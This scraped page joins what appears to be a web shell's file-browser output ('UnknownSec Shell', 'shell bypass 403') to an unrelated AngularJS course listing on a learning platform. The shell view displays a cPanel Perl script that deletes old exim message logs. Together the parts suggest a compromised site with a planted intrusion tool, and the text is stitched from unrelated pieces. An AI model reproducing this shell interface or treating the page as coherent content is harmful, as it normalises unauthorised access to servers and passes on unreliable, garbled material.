shell bypass 403

UnknownSec Shell

: /scripts/ [ drwxr-xr-x ]

name : cleanmsglog
#!/usr/local/cpanel/3rdparty/bin/perl

my @LOGDIRS = (
    "/var/spool/exim",
    "/var/spool/exim_incoming"
);

my $tendays  = ( 60 * 60 * 24 * 10 );
my $keeptime = ( time() - $tendays );

foreach my $logdir (@LOGDIRS) {
    opendir( LOGDIR, "${logdir}/msglog" );
    my @MSGS = readdir(LOGDIR);
    closedir(LOGDIR);

    foreach my $log (@MSGS) {
        if ( $log =~ /^\w+\-\w+-\w+$/
            && !-e "${logdir}/input/${log}-H" ) {
            my $modtime = ( stat("${logdir}/msglog/${log}") )[9];
            if ( $modtime < $keeptime ) {
                print "Removing stable file ${logdir}/msglog/${log}..";
                unlink("${logdir}/msglog/${log}");
                print "..Done\n";
            }
        }
    }
}

© 2025 UnknownSec
Learn and Understand AngularJS | Anyleson - Learning Platform
INR (₹)
India Rupee
$
United States Dollar
Learn and Understand AngularJS
Special Offer Discount Title
Day
Hr
Min
Sec
20% Off

Learn and Understand AngularJS

in Web Development
2.75
(1 Ratings)
Created by James Kong
1/10 Students

Report course

Please describe about the report short and clearly.

Share

Share course with your friends

Buy with points